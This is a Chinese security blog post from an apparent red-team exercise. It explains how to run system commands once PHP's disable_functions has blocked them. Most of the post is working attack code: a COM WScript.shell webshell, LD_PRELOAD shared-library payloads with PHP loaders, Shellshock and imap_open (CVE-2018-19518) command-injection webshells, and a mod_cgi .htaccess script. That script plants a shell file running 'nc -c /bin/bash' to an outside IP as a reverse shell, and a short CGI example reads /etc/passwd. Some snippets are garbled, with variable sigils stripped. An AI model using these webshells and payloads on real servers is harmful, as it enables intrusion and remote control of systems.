Drunkmars's Blog

木马解析&disable_fuctions

字数统计: 2.8k阅读时长: 12 min
2021/05/11 Share

.net解析asp的提出主要是在第一次hvv的过程中,拿到shell后ret=127,disable_fuctions禁用了system函数,php版本为5.6,蚁剑上的插件都是linux的,这里能够对文件进行读写,有一个思路就是改disbale_fuctions放出函数,但是这种方法要重启php,命令都执行不了的情况下这种办法就行不通。请教学长之后,可以尝试着上传asp能不能解析,原理大概是windows都自带.net环境,上传之后解析成功能够执行系统命令。

这里在打出phpinfo后发现,对面主机上是装有护卫神的

护卫神就是基于.net环境才能够安装,所以对面主机上是一定会有.net环境能解析asp的

asp探究

asp即动态服务器网页,它由IIS的程序所管理。

ASP是经过服务器解析之后再向网页浏览器返回数据,所以有了ASP就不必担心客户的浏览器是否能运行你所编写的代码。因为所有的程序都将在网页服务器端执行,包括所有嵌在普通HTML中的脚本程序。当程序执行完毕后,服务器仅将执行的结果返回给客户浏览器,这样也就减轻了客户端浏览器的负担,大大提高了交互的速度。

由于代码是需要经过服务器执行之后才向浏览器发送的,所以在客户端看到的只能是经过解析之后的数据,而无法获得源代码,故编写者不用担心自己的源代码会被别人剽窃。但不排除黑客利用系统漏洞窃取服务器端的ASP源代码。

基于这样的解析方式,也导致运行ASP页面相对于普通的HTML页面要慢一点。因为普通的HTML页面只需要浏览器就能够解析,而ASP则必须是服务器将整页的代码都执行一遍之后再发送数据。

ASP提供与数据库的交互,如Microsoft SQL Server、Microsoft Access、MySQL和Oracle,比较流行的是ASP和Microsoft SQL Server的组合。

.net框架探究

.net跟c#关系

C#就是为宣传.NET而创立的,它直接集成于Visual Studio .NET中,VB也在.NET 1.0发布后对其进行支持, 所以这两门语言与.NET平台耦合度很高,并且.NET上的技术大多都是以C#编程语言为示例,所以经常就.NET和C#混为一谈(实质上它们是相辅相成的两个概念)。

跨语言跟跨平台

跨语言:即只要是面向.NET平台的编程语言((C#、Visual Basic、C++/CLI、Eiffel、F#、IronPython、IronRuby、PowerBuilder、Visual COBOL 以及 Windows PowerShell)),用其中一种语言编写的类型可以无缝地用在另一种语言编写的应用程序中的互操作性。

跨平台:一次编译,不需要任何代码修改,应用程序就可以运行在任意有.NET框架实现的平台上,即代码不依赖于操作系统,也不依赖硬件环境。

.net可以做什么

  • Windows 应用程序

  • Web 应用程序

  • Web 服务

php - 绕过disable_fuctions

先列举一下绕过disable_fuctions的思路

  • 寻找没有被禁用的函数

  • Windows中调用COM组件执行命令

  • Linux系统通过LD_PRELOAD加载自定义的动态库

  • 利用Bash破壳(CVE-2014-6271)漏洞改变环境限制

  • 利用imap_open()函数的特性绕过

  • 通过mod_cgi 模式绕过php.ini的限制执行脚本

寻找未禁用的漏网之鱼函数

PHP中执行命令的函数有

1
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link,map_open,imap_mail,ini_set,ini_alter,通常会有漏网之鱼,我们可以尝试寻找一些偏僻没有被禁用的函数如proc_open()、pcntl_exec()等。

Windows中调用COM组件执行命令(php>5.4)

环境要求:

php.ini中已经开启com.allow_dcom、extension=php_com_dotnet.dll

在Windows环境中PHP中的COM()函数可以创建系统组件对象来运行系统命令。

上传com_rce.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

command = _GET['cmd'];

wsh = new COM('WScript.shell');

exec = wsh->exec("cmd /c".command);

stdout = exec->StdOut();

stroutput = stdout->ReadAll();

echo stroutput;

?>

执行命令

linux利用LD_PRELOAD绕过

LD_PRELOAD是Linux系统的一个环境变量,它的加载优先级最高,可以用来覆盖正常的函数库。我们可以通过LD_PRELOAD加载我们写的函数库,来覆盖系统中原有的一些函数达到执行命令的效果。AntSword中的disable_functions插件原理也是如此。

利用mail函数劫持getuid()

环境要求:

1.Linux系统安装并启用了sendmail程序。

2.error_log()和mail()函数没有全被禁用。

利用原理:

php的mail()函数在执行过程中会默认调用系统程序/usr/sbin/sendmail、/usr/sbin/postdrop,而/usr/sbin/sendmail会调用getuid()。那么我们通过LD_PRELOAD劫持getuid函数,然后调用mail函数执行我们生成的恶意函数库中的getuid函数。

重写的getuid()函数test.c。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

#include <stdlib.h><stdlib.h>

#include <stdio.h>

#include <string.h>

int geteuid() {

const char\* cmdline = getenv("EVIL_CMDLINE");

if (getenv("LD_PRELOAD") == NULL) { return 0; }

unsetenv("LD_PRELOAD");

system(cmdline);

}

用 gcc -shared -fPIC test.c -o test.so将test.c编译为动态链接库test.so。

gituid.php这里用了putenv()函数将test.so加入环境变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

<?php

echo "<p> <b>example<b>:

http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/exp.so

<p>";

cmd = _GET["cmd"];

out_path = _GET["outpath"];

evil_cmdline = cmd . " > " . out_path . " 2>&1";

echo "<p> <b>cmdline<b>: " . evil_cmdline . "<p>";

putenv("EVIL_CMDLINE=" . evil_cmdline);

so_path = _GET["sopath"];

putenv("LD_PRELOAD=" . so_path);

mail("", "", "", "");

echo "<p> <b>output<b>: <br />" . nl2br(file_get_contents(out_path))

. "<p>";

unlink(out_path);

?>

劫持启动函数

利用原理:

上面的方法需要通过LD_PRELOAD劫持一个系统函数来实现RCE,如果sendmail函数被禁用了呢?如果能找到一个方式在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖
sendmail 了。而C++ 的构造函数就是如此。

向目标机器上传bypass_disablefunc.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

#define _GNU_SOURCE

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

extern char* * environ;

__attribute__ ((__constructor__)) void preload (void)

{

// get command line options and arg

const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.

// unsetenv("LD_PRELOAD") no effect on some

// distribution (e.g., centos), I need crafty trick.

int i;

for (i = <0; environ[i]; ++i) {

if (strstr(environ[i], "LD_PRELOAD")) {

environ[i][0] = '0';

}

}

// executive command

system(cmdline);

}

接着用以下语句编译C文件为共享对象文件:

1
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so bypass_disablefunc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

<?php

echo "<p> <b>example<b>:

http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so <p>";

cmd = _GET["cmd"];

out_path = _GET["outpath"];

evil_cmdline = cmd . " > " . out_path . " 2>&1";

echo "<p> <b>cmdline<b>: " . evil_cmdline . "<p>";

putenv("EVIL_CMDLINE=" . evil_cmdline);

so_path = _GET["sopath"];

putenv("LD_PRELOAD=" . so_path);

mail("", "", "", "");

echo "<p> <b>output<b>: <br>" . nl2br(file_get_contents(out_path))

. "<p>";

unlink(out_path);

?>

利用Bash破壳(CVE-2014-6271)漏洞(Bash<=4.3)

可以执行“env x=’() { :;}; echo vulnerable’ bash -c “echo this is a test””来测试是否存在破壳漏洞,如果存在会输出

1
2
3
vulnerable

this is a test

利用原理:

存在Bash破壳(CVE-2014-6271)的Linux服务器向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,可利用此漏洞改变或绕过环境限制。mail函数的第五个参数会被交给popen()执行,
如果系统默认sh是bash,popen()会派生bash进程,进而可利用破壳漏洞执行命令。

上传shellshock.php:

复制代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

function shellshock(cmd) { // Execute a command via CVE-2014-6271 @mail.c:283

tmp = tempnam(".","data");

putenv("PHP_LOL=() { x; }; cmd >tmp 2>&1");

mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail

output = @file_get_contents(tmp);

@unlink(tmp);

if(output != "") return output;

else return "No output, or not vuln.";

}

echo shellshock(_REQUEST["cmd"]);

?>

利用imap_open函数的特性绕过(CVE-2018-19518)

利用前提:

  1. 安装了PHP的imap扩展。

  2. php.ini中开启imap.enable_insecure_rsh选项为On。

利用原理:

imap_open函数在将邮箱名称传递给rsh或ssh命令之前没有正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,可以发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。

上传imap_bypass.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

<?php

error_reporting(0);

if (!function_exists('imap_open')) {

die("no imap_open function!");

}

server = "x -oProxyCommand=echot" . base64_encode(_GET['cmd'] .

">/tmp/cmd_result") . "\|base64t-d\|sh}";

//server = 'x -oProxyCommand=echoIFS()' . base64_encode(_GET['cmd'] .

">/tmp/cmd_result") . '\|base64IFS()-d\|sh}';

imap_open('{' . server . ':143/imap}INBOX', '', ''); // or

var_dump("nnError: ".imap_last_error());

sleep(5);

echo file_get_contents("/tmp/cmd_result");

?>

利用Apache mod_cgi 模式绕过 php.ini 中的限制

利用条件:

  • 目录下有写权限

  • apache 使用 apache_mod_php

  • Web 目录给了 AllowOverride 权限并能够上传解析.htaccess文件

  • 启用了mod_cgi,即在apache配置文件下有LoadModule cgi_module
    modules/mod_cgi.so

首先上传.htaccess

1
2
3
Options +ExecCGI

AddHandler cgi-script .test

之后上传shell.test

1
2
3
#!/bin/bash

echo&&cat /etc/passwd

然后访问shell.test

也可以直接上传,访问之后反弹shell


<?php
$cmd = "nc -c '/bin/bash' xxx.xx.xx.xx 4444"; //command to be executed
$shellfile = "#!/bin/bashn"; //using a shellscript
$shellfile .= "echo -ne "Content-Type: text/html\n\n"n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
    echo "$text: " . ($condition ? $yes : $no) . "<br>n";
}
if (!isset($_GET['checked']))
{
    @file_put_contents('.htaccess', "nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
        checkEnabled("Is writable",$writable,"Yes","No");
        checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
    {
        echo "Error. All of the above must be true for the script to work!"; //abort if not
    }
    else
    {
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGInAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
        echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
    }
}
?>
CATALOG
  1. 1. asp探究
  2. 2. .net框架探究
    1. 2.1. .net跟c#关系
  3. 3. 跨语言跟跨平台
  4. 4. .net可以做什么
  5. 5. php - 绕过disable_fuctions
    1. 5.1. Windows中调用COM组件执行命令(php>5.4)
    2. 5.2. linux利用LD_PRELOAD绕过
    3. 5.3. 利用Bash破壳(CVE-2014-6271)漏洞(Bash<=4.3)
    4. 5.4. 利用imap_open函数的特性绕过(CVE-2018-19518)
    5. 5.5. 利用Apache mod_cgi 模式绕过 php.ini 中的限制